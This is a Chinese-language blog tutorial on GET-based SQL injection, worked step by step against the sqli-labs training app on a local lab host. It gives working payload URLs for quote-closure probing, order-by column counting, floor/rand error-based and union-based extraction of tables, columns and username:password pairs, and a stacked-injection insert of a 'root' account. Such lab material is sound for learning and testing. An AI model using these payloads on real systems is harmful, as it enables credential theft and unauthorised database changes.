SQL注入-GET方式SQL注入(一)

1.1 SQL注入方法

1.1.1 报错注入

ORDER BY关键词用于对记录集中的数据进行排序。

用法1:按某个字段进行排序,语法:

select字段1,字段2 from表名order by字段名;

用法2:按第几个字段进行排序,如果超过查询的字段数,就报错,语法:

select字段1,字段2 from表名order by数字;

1.1.1.1 使用闭合方式判断注入点

图片[1]|SQL注入-GET方式SQL注入(一)|leon的博客

【报错信息】:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ”1” LIMIT 0,1′ at line 1

【报错分析】:

可以看到去掉最外层的单引号后是 ‘1” LIMIT 0,1,可以看到我们输入的id=1此时id参数已经成功闭合,但是多了一个单引号导致后面的语句执行失败,由此我们可以确认当前位置存在SQL注入。原因是我们输入的单引号没有被过滤,成功带入数据库中执行。

【原因分析】:

查看源代码发现代码如下:

vim /var/www/html/sqli-labs/Less-1/index.php
29 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

由此可见这个sql语句中的$id采用的闭合方式就是单引号,所以我们可以使用单引号闭合方式进行注入。

PS.闭合方式是指开发人员在sql语句中的加在参数变量两边的符号。

【总结】:

常见手动sql注入的闭合方式:

  • or 1=1 –+
  • ‘or 1=1 –+
  • “or 1=1 –+
  • ) or 1=1 –+
  • ‘) or 1=1 –+
  • “) or 1=1 –+
  • “)) or 1=1 –+

具体使用哪种方式取决于SQL语句使用了什么方式,我们可以在注入点输入反斜杠\来判断页面使用的哪种闭合方式。\表示转义,直接输入\会将字段的闭合方式暴露出来,因为被转义不生效,导致SQL语句报错,并爆出闭合方式。

图片[2]|SQL注入-GET方式SQL注入(一)|leon的博客

‘1\’ LIMIT 0,1:发现\转义后有一个单引号,说明此sql语句基于单引号闭合。

1.1.1.2 使用order by判断表中字段数

  • 测试URL:

http://192.168.10.159/sqli-labs/Less-1/?id=1′ order by 4 –+

http://192.168.10.159/sqli-labs/Less-1/?id=1′ order by 3 –+

  • 实际SQL:

SELECT * FROM users WHERE id=’1′ order by 4 — ‘ LIMIT 0,1

SELECT * FROM users WHERE id=’1’ order by 3 — ‘ LIMIT 0,1

  • 参数分析:
  • ?id=1:正常传递参数
  • ‘:闭合id字段
  • order by 4/3:判断是否存在第4/3个字段
  • –:注释后边的SQL语句
  • +:代表空格

图片[3]|SQL注入-GET方式SQL注入(一)|leon的博客

图片[4]|SQL注入-GET方式SQL注入(一)|leon的博客

【报错信息】:

Unknown column ‘4’ in ‘order clause’

【报错分析】:

表中不存在第4个字段

order by num,按第num个字段进行排序,如果超过查询的字段就会报错。例如:

MariaDB [security]> select * from users order by 3;     # 表示表中有3个字段
+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
...
13 rows in set (0.00 sec)
MariaDB [security]> select * from users order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'    # 表示表中所有字段数量不够4个

综上:可以判断该表中只有3个字段。

【原因分析】:

原始SQL:SELECT * FROM users WHERE id=’$id’ LIMIT 0,1

构造参数后SQL:SELECT * FROM users WHERE id=’1′ order by 4 –+’ LIMIT 0,1

实际运行的SQL:SELECT * FROM users WHERE id=’1′ order by 4

查询第3个字段正常但是查询第4个字段报错,说明该表中只有3个字段。

1.1.1.3 使用floor和rand使查询报错获取key值

  • 测试URL:http://192.168.10.159/sqli-labs/Less-5/?id=0′ union select 1,2,3 from (select count(*), concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x) mysql –+
  • 实际SQL:
SELECT *
FROM users
WHERE id = '0' UNION
SELECT 1,2,3
FROM (
    SELECT
        count(*),
        concat((
            SELECT
                concat( version(), 0x3a, 0x3a, DATABASE (), 0x3a, 0x3a, USER (), 0x3a ) limit0, 1 ),
        floor( rand( 0 )* 2 )) x
    FROM
        information_schema.TABLES
    GROUP BY x
    ) mysql -- ' LIMIT 0,1

图片[5]|SQL注入-GET方式SQL注入(一)|leon的博客

【字段解释】:

select count(*),(floor(rand(0)*2))x from table group by x;

函数说明:

rand():随机函数,返回0~1之间的某个值

floor(a):取整函数,返回小于等于a,且值最接近a的一个整数

count():聚合函数也称作计数函数,返回查询对象的总数

group by clause:分组语句,按照查询结果分组

1.1.2 联合注入

UNION操作符用于合并两个或多个SELECT语句的结果集。UNION内部的SELECT语句必须拥有相同数量的列,列也必须拥有相似的数据类型,同时每条SELECT语句中的列的顺序必须相同。

SQL UNION语法:

SELECT column name(s) FROM table_ name1
UNION
SELECT column name(s) FROM table_ name2

1.1.2.1 使用union爆出字段显示的位置

  • 测试URL:http://192.168.10.159/sqli-labs/Less-1/ id=-1′ union select 1,2,3 –+
  • 实际SQL:SELECT * FROM users WHERE id=’-1′ union select 1,2,3 — ‘ LIMIT 0,1
  • 参数分析:
  • ?id=-1: id=-1这个值在数据库中是不存在的,因为程序只返回一个结果,为了让我们后面查询的结果返回,所以我们需要使union前面的语句查询不出结果。

图片[6]|SQL注入-GET方式SQL注入(一)|leon的博客

注意:联合查询必须字段数一致,如果表存在3个字段联合查询的字段也必须是3个,否则报错,从而可以判断表中的字段数。

【结果分析】:

通过联合查询结果发现name显示的是第2个字段,password显示的是第3个字段

1.1.2.2 使用union获取数据库名称等信息

  • 测试URL:http://192.168.10.159/sqli-labs/Less-1/?id=-1′ union select 1,database(),3 –+
  • 实际SQL:SELECT * FROM users WHERE id=’-1′ union select 1,database(),3 — ‘ LIMIT 0,1

图片[7]|SQL注入-GET方式SQL注入(一)|leon的博客

【结果分析】:

database()方法代替了字段2的内容,在查询结果中返回了database方法执行的结果,也就是数据库名称。

【常用函数】:

  • version():MySQL版本
  • user():数据库用户名
  • database():数据库名
  • @@datadir:数据库路径
  • @@version_compile_os:操作系统版本

1.1.2.3 使用union和group_concat获取所有表信息

  • 测试URL:http://192.168.10.159/sqli-labs/Less-1/?id=-1′ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+
  • 实际SQL:SELECT * FROM users WHERE id=’-1′ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() — ‘ LIMIT 0,1

图片[8]|SQL注入-GET方式SQL注入(一)|leon的博客

【结果分析】:

group_concat()函数功能:将where条件匹配到的多条记录连接成一个字符串,语法:

group_ concat (str1, str2...) # 返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

实际SQL语句的意思是:SELECT * FROM users WHERE id=’-1′ union select (1,group_concat(table_name),3) from information_schema.tables where table_schema=database()

其中(1,group_concat(table_name),3)是一个整体,相当于*,所以from…要放在3 后面

【字段解释】:

information_ schema是MySQL自带的一个元数据库,用于存储MySQL的数据结构,这个库里又存放了很多个表,这些表里的不同字段表示MySQL中的相关信息。

  • table_ schema:该字段存储数据库名;
  • table_name:该字段存储对应数据库中的包括的表名

1.1.2.4 使用union和group_concat获取users表中的字段名字

  • 测试URL:http://192.168.10.159/sqli-labs/Less-1/?id=-1′ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=’users’ –+
  • 实际SQL:SELECT * FROM users WHERE id=’-1′ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=’users’ — ‘ LIMIT 0,1

图片[9]|SQL注入-GET方式SQL注入(一)|leon的博客

【字段解释】:

information schema元数据库下的columns表, columns表用于存储MySQL中的所有表的字段类型。

1.1.2.5 使用union和group_concat获取用户名和密码字段值

  • 测试URL:

http://192.168.10.159/sqli-labs/Less-1/?id=-1′ union select 1,group_concat(username,0x3a,password),3 from users –+

http://192.168.10.159/sqli-labs/Less-1/?id=-1′ union select 1,group_concat(username,0x3a,password,0x3c,0x68,0x72,0x2f,0x3e),3 from users –+

  • 实际SQL:

SELECT * FROM users WHERE id=’-1′ union select 1,group_concat(username,0x3a,password),3 from users — ‘ LIMIT 0,1

SELECT * FROM users WHERE id=’-1′ union select 1,group_concat(username,0x3a,password,0x3c,0x68,0x72,0x2f,0x3e),3 from users — ‘ LIMIT 0,1

图片[10]|SQL注入-GET方式SQL注入(一)|leon的博客

图片[11]|SQL注入-GET方式SQL注入(一)|leon的博客

【结果分析】:

0x是十六进制的标志,3a 即十六进制的3a,0x3a 在ASCII码表代表冒号(:)。

group_ concat(username,0x3a,password) 的意思是将用户名和密码连接成字符串,并使用冒号(:)将用户名和密码分隔开。

HTML中换行符用<hr />来表示,转换成十六进制是0x3C,0x68,0x72,0x2F,0x3E,将十六进制换行符添加到password字段后即可实现一行一个用户名密码。

ASCII码表: https://baike.baidu.com/item/ASCII/309296?fr=aladdin

1.1.3 堆叠注入

使用;分号来直接添加一条新的SQL语句来进行执行就是堆叠查询注入。

1.1.3.1 通过堆叠注入向数据库中插入信息

  • 测试URL:http://192.168.10.159/sqli-labs/Less-38/?id=1′;insert into users(id,username,password) values(’66’,’root’,’123456′)–+
  • 实际SQL:SELECT * FROM users WHERE id=’1′;insert into users(id,username,password) values(’66’,’root’,’123456′)– ‘ LIMIT 0,1

图片[12]|SQL注入-GET方式SQL注入(一)|leon的博客

【结果分析】:

MariaDB [security]> select * from users;
+----+------------+------------+
| id | username   | password   |
+----+------------+------------+
|  1 | Dumb       | Dumb       |
|  2 | Angelina   | I-kill-you |
|  3 | Dummy      | p@ssword   |
|  4 | secure     | crappy     |
|  5 | stupid     | stupidity  |
|  6 | superman   | genious    |
|  7 | batman     | mob!le     |
|  8 | admin      | admin      |
|  9 | admin1     | admin1     |
| 10 | admin2     | admin2     |
| 11 | admin3     | admin3     |
| 12 | dhakkan    | dumbo      |
| 14 | admin4     | admin4     |
|<span style="color: #ff0000;"> 66 | root       | 123456  </span>   |
+----+------------+------------+
15 rows in set (0.00 sec)
温馨提示:本文最后更新于2022-12-20 20:57:38,已超过464天没有更新。某些文章具有时效性,若文章内容或图片资源有错误或已失效,请联系站长。谢谢!
转载请注明本文链接:https://blog.leonshadow.cn/763482/2248.html
© 版权声明
THE END
喜欢就支持一下吧
点赞1 分享